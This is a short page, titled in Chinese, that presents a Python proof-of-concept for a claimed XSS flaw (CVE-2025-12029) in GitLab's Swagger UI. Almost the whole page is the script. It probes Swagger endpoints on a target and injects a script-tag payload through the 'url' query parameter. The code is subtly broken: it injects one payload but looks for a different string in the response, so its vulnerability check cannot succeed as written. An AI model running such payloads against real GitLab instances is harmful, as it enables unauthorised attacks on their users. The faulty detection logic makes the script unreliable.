CVE-2025-12029: GitLab Swagger UI跨站脚本注入漏洞

import requests import re # CVE-2025-12029 PoC - GitLab Swagger UI XSS # Target: GitLab instances with Swagger UI enabled def check_vulnerability(target_url): """Check if target GitLab instance is vulnerable""" vulnerable_endpoints = [ "/api-docs", "/swagger", "/swagger-ui", "/api/v4/swagger" ] xss_payload = '<script>alert("XSS CVE-2025-12029")</script>' for endpoint in vulnerable_endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10) if response.status_code == 200: # Check if Swagger UI reflects input without sanitization if 'swagger' in response.text.lower(): print(f"[+] Swagger UI found at: {url}") # Inject XSS payload xss_url = url + f"?url=<script>alert('XSS')</script>" xss_response = requests.get(xss_url, timeout=10) if xss_payload in xss_response.text: print(f"[!] VULNERABLE: XSS payload reflected at {xss_url}") return True except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") return False # Example usage # target = "https://gitlab.example.com" # check_vulnerability(target) # Note: This PoC demonstrates the vulnerability concept. # Actual exploitation requires specific conditions and user interaction.